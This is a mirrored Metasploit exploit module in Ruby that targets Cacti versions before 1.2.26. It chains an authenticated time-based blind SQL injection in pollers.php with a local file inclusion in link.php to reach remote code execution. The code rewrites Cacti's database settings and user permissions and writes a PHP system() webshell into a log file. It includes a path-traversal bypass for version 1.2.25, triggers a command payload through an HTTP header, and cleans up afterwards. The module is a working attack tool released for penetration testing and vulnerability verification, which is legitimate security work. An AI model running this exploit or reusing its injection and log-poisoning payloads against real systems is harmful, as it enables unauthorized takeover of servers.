Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cacti_pollers_sqli_rce.rb
33244 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::SQLi
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::Cacti
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
class CactiError < StandardError; end
16
class CactiNotFoundError < CactiError; end
17
class CactiVersionNotFoundError < CactiError; end
18
class CactiNoAccessError < CactiError; end
19
class CactiCsrfNotFoundError < CactiError; end
20
class CactiLoginError < CactiError; end
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Cacti RCE via SQLi in pollers.php',
27
'Description' => %q{
28
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
29
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to
30
achieve RCE. Authentication is needed and the account must have access
31
to the vulnerable PHP script (`pollers.php`). This is granted by
32
setting the `Sites/Devices/Data` permission in the `General
33
Administration` section.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Aleksey Solovev', # Initial research and discovery
38
'Christophe De La Fuente' # Metasploit module
39
],
40
'References' => [
41
['GHSA', 'vr3c-38wh-g855', 'Cacti/cacti'], # SQLi
42
['GHSA', 'pfh9-gwm6-86vp', 'Cacti/cacti'], # LFI (RCE)
43
[ 'CVE', '2023-49085'], # SQLi
44
[ 'CVE', '2023-49084'] # LFI (RCE)
45
],
46
'Privileged' => false,
47
'Targets' => [
48
[
49
'Linux Command',
50
{
51
'Arch' => ARCH_CMD,
52
'Platform' => [ 'unix', 'linux' ]
53
}
54
],
55
[
56
'Windows Command',
57
{
58
'Arch' => ARCH_CMD,
59
'Platform' => 'win'
60
}
61
]
62
],
63
'DefaultOptions' => {
64
'SqliDelay' => 3
65
},
66
'DisclosureDate' => '2023-12-20',
67
'DefaultTarget' => 0,
68
'Notes' => {
69
'Stability' => [CRASH_SAFE],
70
'Reliability' => [REPEATABLE_SESSION],
71
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
72
}
73
)
74
)
75
76
register_options(
77
[
78
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
79
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
80
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
81
]
82
)
83
end
84
85
def sqli
86
@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|
87
sqli_final_payload = '"'
88
sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')
89
sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""
90
send_request_cgi(
91
'uri' => normalize_uri(target_uri.path, 'pollers.php'),
92
'method' => 'POST',
93
'keep_cookies' => true,
94
'vars_post' => {
95
'__csrf_magic' => @csrf_token,
96
'name' => 'Main Poller',
97
'hostname' => 'localhost',
98
'timezone' => '',
99
'notes' => '',
100
'processes' => '1',
101
'threads' => '1',
102
'id' => '2',
103
'save_component_poller' => '1',
104
'action' => 'save',
105
'dbhost' => sqli_final_payload
106
},
107
'vars_get' => {
108
'header' => 'false'
109
}
110
)
111
end
112
end
113
114
def check
115
# Step 1 - Check if the target is Cacti and get the version
116
print_status('Checking Cacti version')
117
res = send_request_cgi(
118
'uri' => normalize_uri(target_uri.path, 'index.php'),
119
'method' => 'GET',
120
'keep_cookies' => true
121
)
122
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
123
124
html = res.get_html_document
125
begin
126
@cacti_version = parse_version(html)
127
version_msg = "The web server is running Cacti version #{@cacti_version}"
128
rescue CactiNotFoundError => e
129
return CheckCode::Safe(e.message)
130
rescue CactiVersionNotFoundError => e
131
return CheckCode::Unknown(e.message)
132
end
133
134
if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')
135
print_good(version_msg)
136
else
137
return CheckCode::Safe(version_msg)
138
end
139
140
# Step 2 - Login
141
@csrf_token = parse_csrf_token(html)
142
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?
143
144
begin
145
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
146
rescue CactiError => e
147
return CheckCode::Unknown("Login failed: #{e}")
148
end
149
150
@logged_in = true
151
152
# Step 3 - Check if the user has enough permissions to reach `pollers.php`
153
print_status('Checking permissions to access `pollers.php`')
154
res = send_request_cgi(
155
'uri' => normalize_uri(target_uri.path, 'pollers.php'),
156
'method' => 'GET',
157
'keep_cookies' => true,
158
'headers' => {
159
'X-Requested-With' => 'XMLHttpRequest'
160
}
161
)
162
return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?
163
return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401
164
return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200
165
166
# Step 4 - Check if it is vulnerable to SQLi
167
print_status('Attempting SQLi to check if the target is vulnerable')
168
return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable
169
170
CheckCode::Vulnerable
171
end
172
173
def get_ext_link_id
174
# Get an unused External Link ID with a time-based SQLi
175
@ext_link_id = rand(1000..9999)
176
loop do
177
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
178
sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")
179
end
180
break if elapsed_time < datastore['SqliDelay']
181
182
@ext_link_id = rand(1000..9999)
183
end
184
vprint_good("Got external link ID #{@ext_link_id}")
185
end
186
187
def exploit
188
if @csrf_token.blank? || @cacti_version.blank?
189
res = send_request_cgi(
190
'uri' => normalize_uri(target_uri.path, 'index.php'),
191
'method' => 'GET',
192
'keep_cookies' => true
193
)
194
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?
195
196
html = res.get_html_document
197
if @csrf_token.blank?
198
print_status('Getting the CSRF token to login')
199
@csrf_token = parse_csrf_token(html)
200
# exit early since without the CSRF token, we cannot login
201
fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?
202
203
vprint_good("CSRF token: #{@csrf_token}")
204
end
205
206
if @cacti_version.blank?
207
print_status('Getting the version')
208
begin
209
@cacti_version = parse_version(html)
210
vprint_good("Version: #{@cacti_version}")
211
rescue CactiError => e
212
# We can still log in without the version
213
print_bad("Could not get the version, the exploit might fail: #{e}")
214
end
215
end
216
end
217
218
unless @logged_in
219
begin
220
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
221
rescue CactiError => e
222
fail_with(Failure::NoAccess, "Login failure: #{e}")
223
end
224
end
225
226
@log_file_path = "log/cacti#{rand(1..999)}.log"
227
print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")
228
@log_setting_name_bak = '_path_cactilog'
229
sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")
230
@do_settings_cleanup = true
231
sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")
232
register_file_for_cleanup(@log_file_path)
233
234
print_status("Inserting the log file path `#{@log_file_path}` to the external links table")
235
log_file_path_lfi = "../../#{@log_file_path}"
236
# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):
237
# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);
238
log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')
239
get_ext_link_id
240
sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")
241
@do_ext_link_cleanup = true
242
243
print_status('Getting the user ID and setting permissions (it might take a few minutes)')
244
user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")
245
fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)
246
sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")
247
@do_perms_cleanup = true
248
249
print_status('Logging in again to apply new settings and permissions')
250
# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.
251
# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.
252
cookie_jar_bak = cookie_jar.clone
253
cookie_jar.clear
254
csrf_token_bak = @csrf_token
255
256
begin
257
@csrf_token = get_csrf_token
258
rescue CactiError => e
259
fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")
260
end
261
262
begin
263
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
264
rescue CactiError => e
265
fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")
266
end
267
268
print_status('Poisoning the log')
269
header_name = rand_text_alpha(1).upcase
270
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")
271
272
print_status('Triggering the payload')
273
# Expecting no response
274
send_request_cgi({
275
'uri' => normalize_uri(target_uri.path, 'link.php'),
276
'method' => 'GET',
277
'keep_cookies' => true,
278
'headers' => {
279
header_name => payload.encoded
280
},
281
'vars_get' => {
282
'id' => @ext_link_id,
283
'headercontent' => 'true'
284
}
285
}, 1)
286
287
# Restore the cookie_jar and the CSRF token to run cleanup without being blocked
288
cookie_jar.clear
289
self.cookie_jar = cookie_jar_bak
290
@csrf_token = csrf_token_bak
291
end
292
293
def cleanup
294
super
295
296
if @do_ext_link_cleanup
297
print_status('Cleaning up external link using SQLi')
298
sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")
299
end
300
301
if @do_perms_cleanup
302
print_status('Cleaning up permissions using SQLi')
303
sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")
304
end
305
306
if @do_settings_cleanup
307
print_status('Cleaning up the log path in `settings` table using SQLi')
308
sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")
309
sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")
310
end
311
end
312
end
313
314